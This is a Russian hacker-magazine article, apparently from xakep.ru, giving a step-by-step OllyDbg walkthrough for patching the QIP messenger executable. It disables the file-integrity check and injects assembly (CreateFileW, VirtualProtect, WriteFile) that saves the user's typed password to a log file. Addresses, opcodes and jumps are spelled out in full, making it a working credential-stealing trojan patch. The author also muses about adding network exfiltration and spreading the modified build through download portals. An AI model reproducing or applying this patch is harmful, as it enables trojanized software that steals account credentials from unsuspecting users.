Атака на QIP: низкоуровневое исследование популярного интернет-пейджера

"Топовые" программные продукты, распространяемые на бесплатной основе, зачастую пользуются такой популярностью, что пользователи доверяют их авторам всецело, совершенно забывая о собственной безопасности. Чтобы разрушить весьма распространенный миф о том, что "популярно - значит надежно", мы займемся исследованием раскрученного на территории СНГ интернет-пейджера QIP.

Пробиваем "непробиваемую" броню

В одном из выпусков рубрики "Easyhack" я рассказывал, как модифицировать QIP так, чтобы он выдавал введенный пароль при помощи использования MessageBoxA. Естественно, я не стал раскрывать все карты сразу и описывать обход защитных механизмов – исключительно для того, чтобы разработчики залатали дыры, а хакеры не использовали информацию в корыстных целях, для создания "нового релиза" QIP с функцией воровства аккаунтов.

Прошло достаточно времени, и я решил углубиться в увлекательную исследовательскую работу. Вместе с тобой мы попробуем пропатчить qip.exe таким образом, чтобы он записывал введенные пользователем пароли в файл.

Все действия будем выполнять при помощи, я думаю, хорошо уже известного тебе отладчика OllyDbg. Итак, вооружаемся отладчиком, релизом QIP и погружаемся в работу.

Открываем файл под отладчиком. Если ты помнишь, я уже исследовал QIP и выяснил, что существует некоторая защита от модификации исполняемого файла. Продемонстрировать наличие некоторой функции, проверяющей целостность файла, довольно легко: замени какую - либо инструкцию в середине кода программы на nop и попробуй запустить программу. Вместо привычного окна авторизации появится сообщение о том, что файл поврежден. Попробуем излечить нашего "пациента" от этой "болезни" :).

Прежде всего, чтобы интернет-пейджер "принял" добавляемый нами в PE-файл код (а мы его, безусловно, добавим) в качестве своего собственного, необходимо отключить защитные механизмы. После недолгой трассировки кода измененного файла я выяснил, "где собака зарыта": по адресу 068F4BA располагается процедура проверки целостности PE-файла. Она портит нам настроение, поэтому рекомендую ее исследовать. Пошаговое выполнение программы доводит нас до любопытного места:

0048023F . 8B45 FC      MOV EAX,DWORD PTR SS:[EBP-4]
00480242 . 807D FB 00   CMP BYTE PTR SS:[EBP-5],0
00480246   74 0F        JE SHORT qip_modi.00480257
00480248   E8 B740F8FF  CALL qip_modi.00404304

Мы не знаем, что именно проверяет доблестный интернет-пейджер внутри вызываемой функции, да это для нас и не столь важно. Ставим точку останова на 00480246 и до умопомрачения жмем на <shift+F9>. Программа запустится и выдаст безрадостное окошко: файл поврежден.

Методом "научного тыка" я выяснил, что если четыре раза нажать на <shift+F9> во время прерывания на точке останова, а перед пятым нажатием – занопить вызов "CALL 00404304", программа запустится (при условии, что после пятого прохода мы снова восстановим вызов при помощи команды контекстного меню "Undo Selection"). В отладчике все просто – заменяем вызов на nop после четырех нажатий на <shift+F9>. Затем снова жмем <shift+F9>, щелкаем правой кнопкой по вызову, выбираем "Undo Selection", убираем точку останова и запускаем программу на исполнение.

Но как пропатчить код, чтобы он "знал", когда защитная процедура вызывается в четвертый раз? Писать огромные проверки со счетчиками запуска - сложно и долго.

Выход только один, и он достаточно очевиден. Скорее всего, содержимое регистров процессора во время каждого из вызовов – уникально. Это значит, мы можем проверять какой-либо регистр на соответствие некоторому значению непосредственно перед вызовом защитной функции и, если значения совпадают, пускать защиту лесом!

Как удалось выяснить, в моем случае содержимое регистра EBX (я взял его, что называется, "от балды"; ты можешь проверять любой другой регистр) перед пятым вызовом защитной функции равно 0064ED7C.

Перед тем, как писать код, обходящий защиту, определимся с его местоположением. Будем пихать наш "жучок", начиная с адреса 0068F857. Вызов защитной функции, располагающийся по адресу 00480248, заменим на безусловный переход к нашему коду.

00480248 jmp 0068f857

Кстати, заметь, что следующая инструкция располагается по адресу 0048024D – этот факт нам еще пригодится. Вот как будет выглядеть наш код:

0068F857 CMP EBX,0064ED7C; сравниваем содержимое ebx со значением, которое должно содержаться в нем перед пятым вызовом защитной функции
0068F85D JNZ 0068F864; если содержимое регистра не равно 0064ED7C, выполняем переход...
0068F85F JMP 0048024D; ...иначе - не выполняем функцию (передаем управление qip.exe)
0068F864 PUSH 0048024D; кладем в стек адрес возврата из функции...
0068F869 JMP 00404304; ...и выполняем эту функцию

Простой код обходит мудреную защиту, и теперь мы можем беспрепятственно творить все, что захотим! Все подводные камни устранены, а широкий путь для творческих походов расчищен: никто и ничто не мешает нам изменять "внутренности" интернет-пейджера.

Лирическое отступление

Если ты еще не забыл, наша задача - написать код, который будет сохранять введенный пользователем пароль в файл. Для этого необходимо владеть информацией, как минимум, о двух API-функциях: создающей файл и записывающей в него информацию. Порыскав в MSDN, находим необходимую информацию. Для создания файла будем использовать функцию CreateFileW. Она принимает следующие параметры (расположу их в обратном порядке – в том, в котором мы будем помещать их в стек):

hTemplateFile: файл-шаблон, атрибуты которого будут использоваться для открытия
Attributes - атрибуты и флаги для открытия файла
Mode; режим открытия файла
pSecurity; атрибуты безопасности
ShareMode; режим совместного доступа
Access; тип доступа к файлу
FileName; имя файла

Некоторые параметры можно обнулить (об этом мы поговорим позже). Для записи в файл воспользуемся функцией WriteFile. Вот ее прототип:

BOOL WINAPI WriteFile(
__in HANDLE hFile,
__in LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);

Параметры будут следующими:

hFile – дескриптор файла
Buffer – буфер, из которого будут записаны данные
nNumberOfBytesToRead – количество записываемых данных
lpNumberOfBytesRead – количество фактически записанных данных
lpOverlapped – указатель на структуру типа OVERLAPPED (обнуляем)

Условимся, что наш код будет располагаться, начиная с адреса 0068F86E. Теперь необходимо сделать небольшое лирическое отступление. Как было выяснено в результате долгих исследований (если хочешь знать, каких конкретно, почитай колонку EASYHACK за ноябрь 2008 года), после вызова следующего кода, который выполняется при нажатии на кнопку "Подключиться", в стеке (по адресу [ebp-8]) находится пароль:

00649A01 CALL qip.004678B4
00649A06 CMP DWORD PTR SS:[EBP-8],0
00649A0A JE SHORT 0649A2F

Как видишь, код, расположенный после CALL-а, проверяет, пусто ли поле для ввода пароля (пара инструкций – "cmp" и "je"). Нам эта проверка не нужна, так что на помойку ее – и заменим на переход к нашему коду:

00649A01 CALL qip_modi.004678B4
00649A06 JMP 0068F86E
00649A0B NOP

Три простых шага к краже пароля

Внес изменения? Едем дальше. Перейдем к адресу 0068F86E и напишем наш код.

1. Передаем параметры для CreateFileW в стек и вызываем эту функцию. Вызванная API возвратит в EAX хэндл открытого файла.

0068F86E > 6A 00       PUSH 0  ; /hTemplateFile = NULL
0068F870 . 68 80000000 PUSH 80 ; |Attributes = NORMAL
0068F875 . 6A 04       PUSH 4  ; |Mode = OPEN_ALWAYS
0068F877 . 6A 00       PUSH 0  ; |pSecurity = NULL
0068F879 . 6A 03       PUSH 3  ; |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
0068F87B . 68 000000C0 PUSH C0000000 ; |Access = GENERIC_READ|GENERIC_WRITE
0068F880 . 68 A7F86800 PUSH qip_modi.0068F8A7 ; |FileName = "log.txt"
0068F885 . E8 D60E187C CALL kernel32.CreateFileW ; \CreateFileW

2. Положим в стек содержимое регистра EAX в качестве единственного параметра для функции закрытия файла CloseHandle, которую вызовем впоследствии.

0068F88A . 50 PUSH EAX ; /hObject

3. Передадим в стек параметры для функции WriteFile и вызовем ее. К сожалению, есть один нюанс, который не позволит нам использовать стек в качестве буфера для этой API-функции: ее вызов затирает часть необходимых данных, хранящихся там. Поэтому роль буфера будет играть часть секции кода, начиная с адреса 0068F8EB. Но так как секция кода защищена от записи, придется вызвать функцию VirtualProtect с параметром NewProtect = PAGE_EXECUTE_READWRITE. Вызов VirtualProtect с передачей параметров разместим по адресу 0068F8B7 (предварительно сохранив регистры при помощи PUSHAD). После чего при помощи набора инструкций MOV скопируем пароль, расположенный в стеке, в наш буфер - по адресу 0068F8EB. Все вместе это выглядит так:

; передаем параметры для WriteFile и вызываем ее:
0068F88B PUSH 0 ; |/pOverlapped = NULL
0068F88D PUSH EBP ; ||pBytesWritten
0068F88E PUSH 10 ; ||nBytesToWrite = 10 (16.)
0068F890 PUSH qip_modi.0068F8EB; ||Buffer = qip_modi.0068F8EB
0068F895 PUSH EAX ; ||hFile
0068F896 CALL kernel32.WriteFile ; |\WriteFile

; вызываем CloseHandle для закрытия файла, хэндл файла мы передали выше при
; помощи инструкции "PUSH EAX", расположенной по адресу 0068F88A:

0068F89B CALL CloseHandle

; Восстанавливаем регистры, которые сохраним до вызова VirtualProtect чуть ниже:

0068F8A0 POPAD

; Переходим к коду qip.exe

0068F8A1 JMP qip_modi.00649A0B

; имя файла, которое использует функция CreateFileW:

0068F8A6 NOP
0068F8A7 UNICODE "log.txt",0

; сохраним регистры в стек:

0068F8B7 PUSHAD

; передадим необходимые параметры функции VirtualProtect и вызовем ее:

0068F8B8 PUSH 32F7D0 ; /pOldProtect = 0032F7D0
0068F8BD PUSH 40 ; |NewProtect = PAGE_EXECUTE_READWRITE
0068F8BF PUSH 0FF ; |Size = FF (255.)
0068F8C4 PUSH qip_modi.0068F8EB ; |Address = qip_modi.0068F8DD
0068F8C9 CALL kernel32.VirtualProtect ; \VirtualProtect

; В два подхода переместим восьмибайтовый пароль в новый буфер, начинающийся с адреса 0068F8EB:

; первый подход - забираем 4 байта...:

0068F8CE MOV ECX,DWORD PTR DS:[EBP-8]
0068F8D2 MOV EDX,DWORD PTR DS:[ECX]
0068F8D4 MOV ECX,qip_modi.0068F8EB
0068F8D9 MOV DWORD PTR DS:[ECX],EDX

;...и второй - забираем оставшиеся 4 байта:

0068F8DB MOV ECX,DWORD PTR DS:[EBP-8]
0068F8DF MOV EDX,DWORD PTR DS:[ECX+4]
0068F8E2 MOV ECX,qip_modi.0068F8EF
0068F8E7 MOV DWORD PTR DS:[ECX],EDX

; передаем управление чуть выше - в начало написанного нами кода, который создаст и сохранит лог-файл:

0068F8E9 JMP SHORT qip_modi.0068F86E

Ситуация немного изменилась. Раньше мы планировали передавать управление на наш код следующим образом:

00649A06 JMP 0068F86E

Теперь это невозможно, так как нам пришлось использовать дополнительный код в виде вызова VirtualProtect, который должен непременно выполняться раньше остального кода. Так что переходи к адресу 0068F8E9 и меняй расположенный там переход на:

00649A06 JMP 0068F8B7

Все готово! Резюмируем все, что было написано выше. Внедренные нами инструкции создают файл в директории программы и при помощи вызова VirtualProtect разрешают запись в секцию кода, часть которой используется в качестве буфера. А затем - вызывают функцию WriteFile, которая записывает в созданный файл полученный пароль, введенный пользователем. Как видишь, код не так сложен. Тем не менее, защитные механизмы отключены, и пароль записан в файл.

Разработчики, будьте внимательны!

Скажу несколько вещей, не особенно приятных для разработчика интернет-пейджера, но необходимых. Во-первых, механизмы защиты данных учетных записей, находящихся в памяти, нуждаются в доработке. Во-вторых, механизмы контроля целостности файла также нуждаются в дополнительном усовершенствовании. Что важно, мы рассмотрели самый тривиальный способ модификации. Между тем, нужно дописать лишь несколько десятков строк кода, чтобы получить версию QIP, которая будет открывать интернет-соединение и отправлять данные учетных записей по Сети. Только представь ситуацию: раскрученный интернет-портал, на который залита "новая" версия QIP, может быть, содержащая новый пакет смайлов и несколько "модифицированный" код выполнения авторизации. Как следствие - тысячи (возможно, десятки тысяч) украденных аккаунтов. Напоследок - скажу, что многие из популярных программных продуктов имеют не менее шокирующие уязвимости. Посему мы еще не раз встретимся на страницах журнала и распотрошим не один десяток самых скачиваемых программ. Удачи во взломах!

Взято с http://www.xakep.ru/post/47864/default.asp


Ведете ли вы блог?

Да
Нет
Планирую


Результаты опроса

Новостной блок